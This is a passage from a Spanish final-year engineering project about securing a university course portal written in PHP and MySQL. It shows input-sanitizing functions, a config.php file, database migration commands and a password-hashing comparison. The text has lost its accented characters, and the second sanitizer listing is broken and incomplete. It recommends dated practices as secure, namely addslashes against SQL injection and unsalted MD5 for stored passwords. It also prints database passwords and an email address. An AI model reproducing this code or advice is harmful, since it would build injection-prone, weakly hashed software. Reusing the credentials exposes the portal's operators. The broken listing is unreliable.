ya diseados y posteriormente aadir a la expresin regular los nuevos caracteres
vlidos que deseemos.
Pero esto no siempre es factible. Supongamos que uno de los caracteres a
permitir son las comillas simples o algn otro carcter de los considerados
peligrosos. Si simplemente permitiramos este tipo de caracteres estaramos
dejando desprotegida la Aplicacin. En este caso, la solucin es escapar ese
carcter, o lo que es lo mismo, anteponer el carcter \ (barra invertida) al carcter
peligroso, para que ste sea considerado como un carcter normal. Tampoco es que
sea algo difcil de implementar (de hecho, no lo es), pero se ve que el mtodo
requiere un cierto conocimiento de cmo funcionan los ataques que pretendemos
evitar, y cuanto menos, un cierto trabajo de exploracin del cdigo y adecuacin de
las funciones que van a realizar el filtrado.
Pg. 110
Nosotros hemos implementado este tipo de filtros en algunas partes de la

Aplicacin, ms para ilustrar este mtodo, que por fines prcticos. No porque este
mtodo no sea perfectamente vlido (que lo es) o sea inseguro (nada ms lejos de la
realidad) sino porque nos es ms sencillo usar el mtodo que estudiaremos a
continuacin.
3.3.2.2.
Tcnica de proteccin genrica contra injecting.
A veces no es fcil auditar cdigo que ha escrito otra persona, sobre todo, si
sta no ha puesto el suficiente empeo para que su cdigo sea legible y fcilmente
comprensible (uso abundante de comentarios, etc.). En cualquier caso, nos llevar un
tiempo precioso. Por tanto, un mtodo como el propuesto en el punto anterior puede
no ser viable (simplemente, por falta de tiempo6).
La presente tcnica pretende ilustrar dos nuevos aspectos. Por un lado, el
filtrado se va a realizar gracias a funciones que ya vienen implementadas en el
lenguaje PHP y que estn precisamente diseadas a medida, por los desarrolladores
de este lenguaje, para evitar ciertos tipos de ataques, como los que pretendemos
erradicar. Por otro lado, nuestra intencin es encontrar una forma de proteccin que
no implique tener que ir revisando lneas de cdigo e ir instalando filtros de forma
manual, como era el caso anterior. Resumiendo, nuestro mtodo de proteccin debe
ser lo ms genrico posible.
Tras analizar la situacin y pensar en diversas soluciones, hemos llegado a la
que creemos una solucin ptima, en cuanto a relacin proteccin conseguida / coste,
y que pasamos a exponer.
Recordemos que, normalmente, una auditora de seguridad se mide en funcin del tiempo empleado
en ella: cuanto ms tiempo emplee el auditor, ms nos cobrar ste.
Pg. 111
En la figura 4.5 se muestra una funcin llamada sanitize_vars(). sta se

encuentra definida en el fichero config.php, y adems, se ha includo una llamada a
dicha funcin en el propio fichero de configuracin, de forma que automticamente,
cuando un script incluya (mediante la orden require) dicho archivo de
configuracin, la funcin sea ejecutada de forma transparente. Esto resuelve uno de
los problemas que tenamos: el de tener que ir revisando cdigo e ir aadiendo filtros
manualmente. Ahora lo anterior no es necesario: como todos los scripts PHP de
nuestra Aplicacin realizan un require del fichero de configuracin, justo al
comienzo antes de ejecutar ninguna otra tarea- tendremos la certeza de que nuestra
funcin sanitize_vars() va a ser ejecutada siempre y adems, antes de cualquier otra
operacin o cdigo.
/* Sanitized Vars Routine by RoMaNSoFt (r0man@phreaker.net) */

function sanitize_vars() {
$magic_quotes = get_magic_quotes_gpc();
foreach ($GLOBALS as $var => $value) {
if (is_array($value)) {
foreach ($value as $i => $j) {
if ($magic_quotes)
$GLOBALS[$var][$i] = htmlentities($j);
else
$GLOBALS[$var][$i] = addslashes(htmlentities($j));
}
} else {
if ($magic_quotes)
$GLOBALS[$var] = htmlentities($value);
else
$GLOBALS[$var] = addslashes(htmlentities($value));
}
}
}
Figura 4.5. Filtro genrico sanitize_vars().
Habiendo resuelto un primer problema, pasamos a explicar seguidamente el

funcionamiento de la funcin filtro sanitize_vars(). A grandes rasgos, lo que hace
la funcin es recorrer todo el espacio de variables de PHP, aplicndoles unos ciertos
Pg. 112
filtros a todas y cada una de ellas. De esta forma, nos aseguramos de que toda
variable ser filtrada, sin excepcin7. A cada variable se le aplican dos filtros, en un
orden estricto.
En primer lugar, aplicamos la funcin htmlentities(), que se encargar de
transformar ciertos caracteres que tienen un significado especial para el lenguaje
HTML, en cadenas inocuas. Este primer filtro evitar que un atacante pueda inyectar
cdigo HTML (o JavaScript), o dicho de otra forma, nos proteger ante ataques de
tipo Cross Site Scripting.
El segundo filtro que aplicamos se corresponde con la funcin
addslashes(). Su finalidad es escapar algunos caracteres especiales como las
comillas. Constituye pues una proteccin vlida contra ataques de tipo SQL inject.
Nuestra funcin sanitizadora hace alguna comprobacin ms. En particular,
chequea la opcin magic_quotes de PHP, y si se encuentra activada, obvia el
segundo filtro, ya que en esencia, tienen la misma funcionalidad y sera redundante
aplicar dos veces un mismo tipo de filtrado (de hecho, obtendramos un efecto
negativo: los caracteres \ aadidos gracias a la primera operacin de escape,
volveran a ser escapados, obteniendo secuencias como \\, que daran resultados
incoherentes).
La ventaja de esta tcnica es evidente: aade proteccin contra diferentes
ataques de inyeccin, de una forma cmoda, sencilla y rpida, puesto que nos ahorra
tener que auditar cdigo (o al menos, lo podremos hacer con ms agilidad, ya que
podremos obviar el anlisis de diferentes puntos que, gracias a esta nueva tcnica,
habran dejado de ser peligrosos) o tener que crear filtros a medida.
7
Con el mtodo de las expresiones regulares, expuesto en el punto anterior, siempre es posible que
nos olvidemos de aadir algn filtro (puesto que la tarea la realizamos manualmente) y dejemos una
variable crtica desprotegida, en algn punto de la Aplicacin.
Pg. 113
Esta tcnica ha sido creada y diseada expresamente para este Proyecto Fin de
Carrera, aunque la intencin del autor es extrapolar su uso a cualquier otra aplicacin
que podamos realizar en PHP.
Si aplicamos la tcnica tal cual a nuestra Aplicacin, observamos un pequeo
fallo, que no afecta a la seguridad pero puede constituir un problema funcional: se
trata del efecto multiplicativo de los caracteres de escape. ste tiene lugar cuando
una misma variable es filtrada varias veces, y el efecto negativo es el mismo que ya
comentamos en el caso del chequeo de magic_quotes: los caracteres de escape
son a su vez escapados, en sucesivos pasos del filtro. Cundo es una variable
filtrada varias veces? Cmo podemos reproducir el fallo? Significa esto que
nuestra rutina es deficitaria?
Comenzamos respondiendo a la ltima pregunta: no, la rutina no es deficitaria.
El problema radica en la Aplicacin y realmente se da en contadas ocasiones,
concretamente en la herramienta de administracin de usuarios, donde al realizar una
operacin sobre los datos de usuario (aadir, editar, tc.) normalmente se nos pide
confirmacin. La peticin de confirmacin viene acompaada de una impresin en
pantalla de los datos que se desea sean confirmados, los cuales a su vez provienen de
un formulario que se rellen en un paso anterior. El script de confirmacin ha
procedido a filtrar las variables a travs de la rutina genrica y por tanto, en pantalla
se mostrarn los datos escapados (es decir, con caracteres \). El fallo se acenta
si respondemos no a la pregunta de comprobacin. En este caso, volveramos al
formulario anterior pero con la peculiaridad de que los datos han sido escapados
una vez ms: el efecto se ha multiplicado. En definitiva, conforme avanzamos un
paso, los caracteres \ se van multiplicando.
Cmo solucionar el problema anterior? Lo ms lgico es redisear el script
de administracin de usuarios, para que no vaya pasando los datos en sucesivos
pasos, mediante variables POST o GET (en este caso, POST) sino que guardara los
Pg. 114
datos como variables de sesin (es decir, la idea es limitar los puntos de entrada de
datos). Al poder considerarse estas ltimas seguras (no pueden ser modificadas
directamente por el navegador) no hara falta filtrarlas de nuevo en cada script que
haga uso de ellas, y evitaramos filtrar varias veces el contenido de una variable. No
podramos hacer igual si las variables que se pasan son POST o GET, ya que estamos
pasando las variables a travs de un medio inseguro y el atacante podra modificarlas
justo en el paso en que hemos desactivado el filtrado.
Sin embargo, vamos a solucionar el problema de otra forma: retocando nuestra
rutina genrica de filtrado. De esta forma, contaremos con una nueva arma, de cara a
proteger futuras aplicaciones en PHP que puedan verse afectadas por el mismo
problema, sin tener que redisear el cdigo de las mismas.
La nueva rutina ha sido denominada sanitize_vars_fixed(). Mostramos a
continuacin el cdigo de la misma.
/* F-I-X-E-D Sanitized Vars Routine by RoMaNSoFt

(r0man@phreaker.net)
function sanitize_vars_fixed() {
*/

$j = preg_replace("/\\\\/", "", $j);
$GLOBALS[$var][$i] = addslashes(htmlentities($j,
ENT_QUOTES));
}
} else {
$value = preg_replace("/\\\\/", "", $value);
$GLOBALS[$var] = addslashes(htmlentities($value,
ENT_QUOTES));
}
}
}
Figura 4.6. Rutina genrica modificada sanitize_vars_fixed().
Pg. 115
Estudiemos los cambios que hemos introducido en ella. Para empezar, el

proceso de filtrado se ve modificado: antes de aplicar los filtros habituales lo que se
hace es eliminar cualquier carcter \ de la variable que est siendo limpiada. De
esta forma, desaparece el problema de los caracteres \ multiplicados. Adems, y
como efecto colateral, en este caso beneficioso, podremos prescindir de la
comprobacin de la opcin de magic_quotes, pudiendo as reducir y simplificar el
cdigo de la rutina. En este momento, hemos evitado que los caracteres \ se
multipliquen conforme se van propagando las variables de un script al siguiente, y a
la vez nos aseguramos de que, a efectos prcticos, la variable queda escapada una
sla vez (a pesar de haberse aplicado el filtro varias veces sobre la misma variable).
Sin embargo, si mostramos en este momento la variable (en la pregunta de
confirmacin de usuarios, que ya vimos anteriormente), aparecer escapada en
pantalla (como es lgico), lo cual puede quedar anti-esttico. Tambin hemos puesto
solucin a ese pequeo detalle. Para ello hemos usado el modificador
ENT_QUOTES de htmlentities(), que fuerza a que tanto las comillas dobles como
las simples sean codificadas como una entidad HTML. De esta forma, la comilla que
antes era mostrada como \ (es decir, apareca escapada) ahora es enviada al
navegador como ' el cual a su vez la interpretar y mostrar como una comilla
simple. Este artificio funciona porque: htmlentities(') == '. Es
decir, aunque pasemos una variable a travs de este filtro varias veces, su contenido
slo se ver afectado en el primer filtrado (la comilla simple pasa a ser '), y no
en los siguientes (' continuar siendo ').
Esta ltima rutina (la modificada) es la que ha sido usada e incorporada
finalmente a nuestra Aplicacin. Slo tiene un pequeo fallo, y es que no permite
usar caracteres \ (barra invertida) como parte de los datos propios de usuario (ya
que este tipo de caracteres sern filtrados sin contemplaciones), aunque realmente no
es un problema prctico, porque rara vez se necesitar hacer uso de ellos.
Pg. 116
3.4.
Herramienta de administracin y gestin del portal.
La herramienta de administracin es un elemento fundamental en el portal, ya
que le confiere la flexibilidad y comodidad que supone el poder actualizar sus
contenidos de una forma simple y ordenada, sin ms ayuda que la de un navegador, o
automatizar ciertos procesos administrativos.
En el caso que nos ocupa, sta se encontraba en un estado rudimentario: no
exista un men de acceso a los scripts de administracin de los distintos servicios
(es decir, no exista la herramienta de administracin como tal sino, por llamarlo de
alguna forma, existan scripts de administracin independientes); adems stos eran
muy bsicos, carecan de ciertas funcionalidades y no estaban demasiado bien
diseados ni programados, y lo ms importante, eran inseguros (recordemos la grave
vulnerabilidad descrita en el captulo 3, mediante la cual un atacante poda ejecutar
estos scripts sin necesidad de conocer la contrasea de administracin). Adems
tenan numerosos fallos estticos y tambin algunos funcionales, que podan surgir
en cualquier momento bajo ciertas condiciones, fruto de la escasa o nula
comprobacin los valores devueltos por algunas funciones. Por ltimo, era necesario
implementar nuevas funcionalidades, como la herramienta de administracin de
usuarios.
En definitiva, una drstica remodelacin se haca totalmente necesaria y as se
ha hecho. Se ha intentado aprovechar cdigo existente pero finalmente la mayor
parte del cdigo ha tenido que ser reescrito desde cero.
3.4.2. Mejoras implementadas.

No es nuestra intencin mostrar un listado exhaustivo con absolutamente todas
las mejoras aadidas en nuestra implementacin. Seguramente se nos olvidaran
Pg. 117
muchas de ellas. No obstante, destacaremos a continuacin las ms importantes, a

modo de resumen:
Cualquier problema de seguridad que pudiera existir ha sido
solventado (y en particular, la grave vulnerabilidad referida unos
prrafos ms arriba).
Se han unificado todos los scripts de administracin, tanto esttica
como funcionalmente. Ahora forman parte de un todo: la herramienta
de administracin.
Se ha integrado la herramienta con el nuevo sistema de usuarios y
permisos (descrito en este mismo captulo).
Se ha dotado de cierta inteligencia al men de acceso a la herramienta
de administracin. En particular, el men no mostrar las opciones
para las cuales no dispongamos de privilegios de administracin8. La
herramienta de administracin de usuarios no permitir borrar la
cuenta del superusuario (root) ni alterar sus cuatro permisos
relacionados con el manejo de usuarios (que debern estar activos en
todo momento).
Se han incluido flechas de navegacin, que facilitan la movilidad a
travs de las distintas pginas y opciones que conforman la
herramienta.
La seguridad no se basa en este hecho, en absoluto. Esta caracterstica est pensada exclusivamente
para agilizar el acceso a las distintas opciones de administracin.
Pg. 118
Se han aadido facilidades de edicin en los diferentes servicios.

Ahora es posible modificar una noticia del tabln sin tener que borrarla
y aadirla de nuevo.
Se han modificado y mejorado las opciones de importacin de datos
desde fichero. Antes era necesario subir ciertos ficheros de texto, que
contenan los datos a importar, mediante FTP al servidor. Ahora no es
necesario: se puede hacer todo desde el navegador, permitindole al
Administrador seleccionar el fichero de datos directamente desde el
disco duro de su PC. El uploading ser totalmente automtico y
transparente. Adems, el formato de archivo que podr ser importado
es el de campos separados por tabuladores, soportado por la mayora
de bases de datos e incluso otro tipo de programas (como hojas de
clculo). Por ltimo, se ha separado la funcin de importacin de la
de borrado de todos los datos; ahora podemos aadir usuarios, cuyos
datos se encuentren en un fichero a importar, sin necesidad de eliminar
previamente todos los usuarios ya existentes.
Para la opcin de importar usuarios desde fichero, el Administrador
podr rellenar dos campos: un prefijo alfanumrico (por ejemplo,
csed) y un sufijo numrico (ej: 1); de forma que quedara: csed1.
Esto quiere decir que la herramienta de administracin generara
nombres de usuario sucesivos (csed1, csed2, ). Si un nombre de
usuario ya existe en la base de datos, se probar con el siguiente que
est libre. Las contraseas se generan aleatoriamente y constan de 12
caracteres alfanumricos. Realmente del archivo importado slo es
necesario leer el campo correspondiente al nombre real. Todo lo dems
lo generar la Aplicacin, de una forma segura.
Pg. 119
Se ha aadido abundante ayuda visual en la propia herramienta.

Podemos ver rpidamente un resumen de los permisos de usuarios y su
explicacin correspondiente. El proceso para importar datos desde un
fichero tambin est perfectamente documentado dentro de la propia
herramienta de administracin.
La herramienta de administracin de usuarios genera automticamente
contraseas seguras, cuando usamos la opcin de importar usuarios
desde fichero.
Se ha aadido una herramienta que permite a cualquier usuario
cambiar su contrasea, si tiene permiso para ello. Por defecto, lo
tendr, aunque puede haber escenarios en los que no interese habilitar
este permiso (por ejemplo, si existe una poltica de seguridad que
obliga a mantener la contrasea inicial, generada por la herramienta de
administracin y que por construccin ser segura).
Se han aadido nuevas opciones en el administrador del servicio
encuesta. Ahora podemos borrar los datos correspondientes a un
nico profesor, de forma independiente, o tambin tenemos la
posibilidad de un borrado total de datos (de todos los profesores).
La lista de permisos (los nombres de los permisos) de usuario
posibles se toma directamente de la base de datos de permisos. Esto
facilita la ampliacin del conjunto de permisos ya que si en un futuro
se desea aadir nuevos permisos, tan slo habremos de aadir stos a
la tabla de permisos (ubicada en la base de datos de usuarios), sin
necesidad de tener que llevar adems los cambios a la herramienta de
administracin. Es decir, no habra que retocar cdigo de la
Aplicacin.
Pg. 120
3.5.
El archivo de configuracin config.php.
Ser el encargado de mantener informacin de configuracin vital para el

portal as como las funciones o porciones de cdigo ms importantes, que sern
frecuentemente utilizadas desde cualquier punto de la Aplicacin.
Ya hemos descrito algunas de estas funciones a lo largo de este documento.
No es nuestra intencin repetir explicaciones, ni tampoco explicar cada una de las
restantes funciones contenidas en el archivo de configuracin.
S vemos interesante reproducir y explicar los datos de configuracin aqu
contenidos y por qu se han ubicado aqu.
// *****************
// * CONFIGURACION *
// *****************
/* Identificador de portal */
$portal = 'csed';
$nombre_portal = 'Complementos de sistemas electrnicos
digitales';
/* E-Mail del Webmaster */
$webmaster = 'fbarrero@gte.esi.us.es';
/* Profesores (encuesta de calidad) */
$profesor1 = 'Federico';
$profesor2 = 'Sergio';
$profesor3 = 'Juan Antonio';
/* Color principal de fondo */
$colorbg='#99cccc';
/* Si lo siguiente est a 0 las notas se leern del archivo
"notas_np.php" */
$notas_publicadas = 1;
/* Host donde reside la bbdd */
$dbhost = 'localhost';
/* Usuario de slo lectura para la bbdd */
$dbuser_ro = 'csed';
$dbpass_ro = 'MQVbnSBT';
/* Usuario privilegiado para la bbdd */
Pg. 121
$dbuser_rw = 'csed_admin';
$dbpass_rw = 'B0e8Yt4K';
/* Las distintas bbdd asociadas a cada servicio
*
* (comentar o dejar a '' si el servicio est deshabilitado)
*/
$db_usuarios = 'usuarios_csed';
$db_cuestionario = 'cuestionario_csed';
$db_dudas = 'dudas_csed';
$db_encuesta = 'encuesta_csed';
$db_notas = 'notas_csed';
$db_noticias = 'noticias_csed';
$db_monitores = '';
/* Permisos por defecto para nuevos usuarios creados (si no
se definen sern 0) */
$defperm = array( 'usuarios_list' => 0
, 'usuarios_edit' => 0
, 'usuarios_del' => 0
, 'usuarios_add' => 0
, 'download' => 1
, 'dudas_r' => 1
, 'dudas_w' => 0
, 'encuesta_r' => 1
, 'encuesta_w' => 0
, 'encuesta1' => 0
, 'encuesta2' => 0
, 'encuesta3' => 0
, 'notas_r' => 1
, 'notas_w' => 0
, 'noticias_r' => 1
, 'noticias_w' => 0
, 'cuestionario_r' => 1
, 'cuestionario_w' => 0
, 'monitores_r' => 1
, 'monitores_w' => 0
, 'admin_tool' => 1
, 'chpass' => 1
);
Principalmente, se han guardado en el archivo config.php los datos que,

debido a su naturaleza, no pueden ser guardados en la base de datos. As tenemos las
contraseas que dan acceso precisamente al servidor de bases de datos MySQL, o los
nombres de las propias bases de datos. Tambin se han incluido en este fichero
ciertas variables que tienden a ser estticas y por tanto no merece la pena que sean
introducidas en la base de datos (entre otras cosas implicara tener que ampliar la
Pg. 122
herramienta de administracin para dar soporte a las mismas). El fichero est

suficientemente documentado por s mismo (cada variable definida viene precedida
de una lnea de comentario) as que no merece la pena alargar ms este punto.
3.6.
Especificaciones de la base de datos.
Como resultado de las implementaciones y mejoras que se han llevado a cabo,

la base de datos ha sufrido importantes modificaciones. Algunas de ellas ya han sido
mencionadas; otras no.
En general, se ha intentado respetar la estructura original (en la medida de lo
posible), si bien se ha simplificado su contenido, en pro de la eficiencia y legibilidad,
aparte de someterse a la adecuacin impuesta por algunas nuevas funcionalidades
que se han implementado en la Aplicacin (por ejemplo, el sistema de usuarios).
Las especificaciones completas finales de las bases de datos pueden
consultarse en el Apndice E del presente Proyecto Fin de Carrera.
Nos limitaremos aqu a mostrar cmo se han llevado a cabo algunos de los
cambios ms significativos.
3.6.1. Modificacin de la nomenclatura de las bases de datos.

La nueva nomenclatura elegida se basa en aadir el nombre del portal (por
ejemplo, csed) al nombre original de la base de datos (ste ltimo no vara para
una misma base de datos, es decir, para un mismo servicio). As por ejemplo para el
servicio dudas, tendremos una base de datos llamada dudas_csed, y otra que ser
dudas_lie, correspondiente a los portales CSED y LIE respectivamente.
Pg. 123
Las bases de datos correspondientes al portal LIE ya se encontraban en el

formato dicho. No ocurra as con las del portal CSED. Mostramos a continuacin los
cambios de nomenclatura realizados:
1. cuestionario -> cuestionario_csed
2. dudas -> dudas_csed
3. encuesta -> encuesta_csed
4. notas -> notas_csed
5. noticias -> noticias_csed
6. monitores -> monitores_lie
Detallamos los pasos realizados en el proceso:
1. Volcamos en un fichero SQL las bases de datos (estructura y
contenido) que deseamos renombrar:
D:\PFC\mysql\bin>mysqldump
file=migracion.sql
--databases
-u
root
cuestionario
-p
--opt
dudas
--result-
encuesta
notas
noticias monitores
Enter password: ******
D:\PFC\mysql\bin>
La opcin result-file fuerza la escritura del fichero en formato

Unix (an habiendo realizado la operacin anterior desde DOS).
Tambin podramos haber usado el siguiente comando:
% mysqldump -u root -pcontrasea --opt --databases cuestionario
dudas encuesta notas noticias monitores > migracion.sql
2. Editamos el fichero de texto migracion.sql y modificamos los

distintos nombres de las bases de datos, de forma acorde a los criterios
expuestos (aadimos _csed o _lie, segn convenga).
Pg. 124
3. Importamos el fichero SQL resultante del anterior paso:

mysql> source migracion.sql
De forma alternativa, podramos haber utilizado la lnea siguiente:

% mysql u root pcontrasea < migracion.sql
4. Borramos las bases de datos viejas:

D:\PFC\mysql\bin>mysqladmin -u root -p drop cuestionario
Dropping the database is potentially a very bad thing to do.
Any data stored in the database will be destroyed.
Do you really want to drop the 'cuestionario' database [y/N] y
Database "cuestionario" dropped
D:\PFC\mysql\bin>
Procedemos de igual forma con las cinco bases de datos restantes.

5. Borramos el fichero migracion.sql:
D:\PFC\mysql\bin>del migracion.sql
3.6.2. Otras modificaciones.

Originalmente, la Aplicacin careca de un sistema de usuarios centralizado y
global. Debido a esto, las bases de datos correspondientes a los distintos servicios en
donde eran necesarios la existencia y definicin de usuarios, posean una tabla de
usuarios (una por cada servicio).
Pg. 125
Tras la implantacin del nuevo sistema de usuarios, las tablas anteriores han
dejado de ser necesarias y han sido eliminadas de las bases de datos
correspondientes.
Por ltimo, hemos renombrado las tablas del servicio encuesta
correspondientes a los distintos profesores, de forma que la nomenclatura no haga
alusin al nombre de los mismos. As conseguimos una nomenclatura genrica. Las
sentencias SQL empleadas para realizar los cambios han sido:
mysql> RENAME TABLE bloque1 to bloque1_prof1, bloque2 to

bloque2_prof1, bloque3 to bloque3_prof1, opinion to
opinion_prof1;
mysql> RENAME TABLE bloque1_ser to bloque1_prof2,
bloque2_ser to bloque2_prof2, bloque3_ser to
bloque3_prof2, opinion_ser to opinion_prof2;
mysql> RENAME TABLE bloque1_jua to bloque1_prof3,
bloque2_jua to bloque2_prof3, bloque3_jua to
bloque3_prof3, opinion_jua to opinion_prof3;
3.7.
Fortaleza de las contraseas empleadas.
A menudo estamos acostumbrados a tratar con sistemas de seguridad basados

en contraseas. De hecho, nosotros hemos utilizado este esquema de autenticacin en
diferentes puntos: el sistema de usuarios, acceso al servidor MySQL, etc.
La seguridad de un sistema as depende fuertemente de la robustez de las
contraseas empleadas. Hasta los mecanismos de seguridad tecnolgicamente ms
avanzados y resistentes resultaran intiles si finalmente escogemos una contrasea
dbil o fcilmente adivinable: un atacante podra romper esta proteccin sin mucha
dificultad. Como se puede intuir, la definicin de una poltica de contraseas
adecuada resulta vital en un esquema de autenticacin basado en contraseas.
Pg. 126
En la realizacin del presente Proyecto Fin de Carrera no hemos obviado este

concepto. Al contrario, se ha tenido especial cuidado en preservar la integridad y
robustez de todas las contraseas utilizadas. A lo largo de esta documentacin han
aparecido algunas contraseas (como las de los usuarios de acceso al servidor
MySQL) y todas ellas eran seguras. No se han pasado por alto reglas elementales
(pero que por desgracia no todo el mundo cumple) como la alternancia de
maysculas y minsculas, o cifras y letras, as como el establecimiento de
contraseas de una longitud lo suficientemente grande, entre otras.
Hemos eliminado adems una vulnerabilidad en la Aplicacin original, por la
cual al importar de fichero la relacin de usuarios (en este caso, del servicio de
notas), se usaba el D.N.I. del alumno como contrasea. No slo eran fcilmente
adivinables (mirando algn tabln pblico de notas, por ejemplo) sino que adems
eran contraseas fciles de romper. En su lugar, el nuevo sistema de usuarios, en
caso de querer importar un listado de usuarios, lo que har ser generar
aleatoriamente contraseas seguras para cada uno de los usuarios importados.
3.7.1. Seguridad de las contraseas almacenadas en la base de datos de

usuarios.
Uno de los axiomas bsicos de seguridad, relacionado con el tema que nos
ocupa, podra decir algo como lo siguiente: nunca debemos almacenar una
contrasea en texto plano. Para cumplir con este axioma, es normal recurrir a la
encriptacin: la contrasea es encriptada, como paso previo a su almacenamiento.
De poco o nada servira el paso anterior, si existiera alguna forma computacionalmente fcil, mediante la cual un atacante pudiera realizar el proceso inverso, es
decir, desencriptar la contrasea cifrada. Por esta razn, los algoritmos de
Pg. 127
encriptacin usados en este campo suelen ser de un solo sentido, esto es, existe una
forma directa y rpida de encriptar pero no de desencriptar9.
La Aplicacin original protega las contraseas almacenadas en base de datos
mediante la forma convencional normalmente usada en MySQL, esto es, con la
funcin password() de MySQL. Con el fin de comprobar la fortaleza de este tipo
de claves llevamos a cabo el siguiente pequeo experimento. Los resultados fueron
sorprendentes.
Comenzamos encriptando tres contraseas sencillas y muy similares:
mysql> select password('a');
+------------------+
| password('a')
|
+------------------+
| 60671c896665c3fa |
+------------------+
1 row in set (0.00 sec)
mysql> select password('b');
+------------------+
| password('b')
|
+------------------+
| 60671ccd6665c43e |
+------------------+
mysql> select password('c');
+------------------+
| password('c')
|
+------------------+
| 60671b016665c072 |
+------------------+
Si nos fijamos, las contraseas encriptadas obtenidas son muy parecidas. De

hecho, de los 8 bytes hexadecimales que componen las distintas contraseas
encriptadas, aproximadamente slo 3 o 4 bytes han cambiado; los dems han
9
No quiere decir que no exista realmente forma de desencriptar sino simplemente que el tiempo de
computacin necesario para llevar a cabo esta labor es extremadamente grande, por lo que en la
prctica resulta inviable.
Pg. 128
permanecido invariables. Dicho de otra forma, parece que existe correlacin entre las
distintas contraseas encriptadas, o lo que es lo mismo, parece posible obtener cierta
informacin de la primera contrasea sin encriptar si conocemos de antemano el
segundo y tercer par contrasea en texto plano contrasea cifrada. Este efecto no es
deseable (puede facilitar un ataque de fuerza bruta o de cualquier otro tipo contra una
contrasea encriptada dada).
Sin embargo, fijmosnos en lo siguiente:
mysql> select md5('a');
+----------------------------------+
| md5('a')
|
+----------------------------------+
| 0cc175b9c0f1b6a831c399e269772661 |
+----------------------------------+
mysql> select md5('b');
+----------------------------------+
| md5('b')
|
+----------------------------------+
| 92eb5ffee6ae2fec3ad71c777531578f |
+----------------------------------+
mysql> select md5('c');
+----------------------------------+
| md5('c')
|
+----------------------------------+
| 4a8a08f09d37b73795649038408b5f33 |
+----------------------------------+
mysql>
En este caso el grado de entropa es, claramente, mucho mayor. Viendo las
tres contraseas encriptadas no nos podramos figurar que las contraseas originales
(en plano) pudieran ser si quiera parecidas (como de hecho lo son).
La funcin md5() ha demostrado ser ms robusta (no slo por el
experimento realizado sino adems por otros factores, como una mayor longitud de
Pg. 129
la contrasea encriptada, o sin ir ms lejos, el amplio uso que todava se hace de este
tipo de firmas digitales en Internet) y por ello, se ha decidido su utilizacin en las
implementaciones llevadas a cabo en nuestra Aplicacin, en lugar de la funcin
password().
Adems, el cifrado MD510 tambin se encuentra implementado en PHP, lo que
da una idea de su importancia.
Existen diferentes alternativas de cifrado que nos podran haber resultado
igualmente vlidas. Por ejemplo, una opcin ms segura que el MD5, y que tambin
est implementada en PHP, es el SHA-111. Sin embargo, en el contexto que nos
ocupa no bamos a notar una mejora de la seguridad apreciable, as que hemos
decidido no implantarlo en nuestra Aplicacin.
3.8.
Otros problemas solucionados.
Enumeramos a continuacin otras mejoras de diversa ndole que se han

llevado a cabo. Al igual que en otros resmenes o listados realizados, no olvidar
aquello de son todas las que estn pero no estn todas las que son. Es decir, una
vez ms no se trata de un listado exhaustivo de caractersticas implementadas sino
que slo destacaremos algunas.
Se han detectado y corregido numerosos warnings de PHP debidos
al uso de variables no inicializadas. Ahora, antes de usar una variable
que puede no estar inicializada, llevamos a cabo una comprobacin
mediante el uso de la funcin isset() de PHP.
10
MD5 Message-Digest Algorithm, de RSA Data Security, Inc. Se trata de una funcin tipo hash
(similar a un checksum) que devuelve un bloque de 128 bits, basado en la entrada recibida. Se usa
comnmente como firma digital.
11
Descrito en el RFC 3174 (Secure Hash Algorithm). Devuelve un bloque de 160 bits.
Pg. 130
Se ha encontrado gran cantidad de cdigo sucio, muy desordenado, sin

indemnacin ni comentarios, que no realiza una comprobacin de
errores adecuada, que usa valores predefinidos (hard-coded) y
evidentemente nada optimizado. Se han intentado corregir o matizar
estos errores en la medida de lo posible (lo cual no es nada fcil, ya
que dadas las caractersticas, lo aconsejable sera haber reescrito por
completo el cdigo de la Aplicacin).
Se han eliminado diversos archivos basura que aparecan dentro de
muchos directorios de la Aplicacin, y que en algunos constituan un
problema de seguridad. Como ejemplos, cabe destacar el fichero
WS_FTP.LOG (que puede dar informacin adicional a un atacante,
como el path absoluto hacia distintos ficheros) o los archivos usados
como datos para el servicio de encuesta (listadoalumnos.txt,
registro.txt, registro_jua.txt, registro_ser.txt).
En el servicio de notas, si no hay notas publicadas, la Aplicacin
cargar el script notas_np.php; en caso contrario, se har uso del
script notas.php. Este comportamiento deberemos programarlo
manualmente
modificando
adecuadamente
la
variable
global
$notas_publicadas en el archivo de configuracin config.php (que

deber contener el valor 1, si hay notas publicadas, o 0, en caso
contrario).
Tambin se han encontrado numerosos ficheros GIF fuera del
directorio de imgenes (images). Lo hemos corregido. Ahora todas
las imgenes se encuentran en dicho directorio.
Pg. 131
Se ha limitado el tamao de los ficheros que pueden ser importados

haciendo uso de la herramienta de administracin. El tamao mximo
permitido es de 2 MB. La proteccin est implementada en dos niveles
diferentes. En primer lugar, a nivel del navegador, embebido en el
formulario que aparece antes de seleccionar el fichero a importar. Este
mecanismo se puede saltar fcilmente, as que hemos impuesto un
segundo nivel de proteccin, en el lado del servidor, definiendo la
siguiente variable del fichero de configuracin de PHP (php.ini):
upload_max_filesize = 2M. Un atacante no podr saltarse, bajo
condiciones normales, esta ltima barrera.
3.8.1. Conversiones de URL.

El problema que vamos a detallar a continuacin no es un problema de la
Aplicacin en s, sino de cmo se encuentra sta montada. Como siempre, nos
referiremos al portal de CSED para ejemplificar (todo lo que se diga ser de
aplicacin al portal de LIE tambin).
Vimos en el captulo anterior que las pginas que conforman el portal CSED
se encontraban distribuidas sobre dos servidores web diferentes (woody y
apache). El primero de ellos albergaba la pgina principal y la mayora de pginas
estticas, mientras que el segundo se encargaba de las pginas dinmicas (scripts
PHP) y adems daba cobijo al servidor MySQL. Mediante un truco por el cual
woody haca de proxy y mapeaba las pginas de apache sobre woody (siendo
este ltimo el que daba la cara en Internet), se consegua ver ambos conjuntos de
pginas, respectivamente, en las siguientes URLs:
http://www.gte.us.es/~fbarrero/CSED/
http://www.gte.us.es/fbarrero/csed/
Pg. 132
Esto supone un problema a la hora de trabajar, sobre todo, teniendo en cuenta

que el autor slo dispona de acceso directo a las pginas de la segunda URL (las de
apache), y no a las de la primera (las actualizaciones de estas ltimas se hacan por
e-mail al dueo de la cuenta en cuestin). La totalidad de pginas del portal tendr
enlaces entre ellas, y stos irn saltando de un tipo a otro de URL (es decir, de un
servidor a otro).
Todo el desarrollo y mejoras que hemos llevado a cabo sobre el portal se han
realizado, en primera instancia, sobre un servidor de pruebas, en local. De esta
forma, se ha conseguido agilizar el proceso de desarrollo, pero surgen algunas
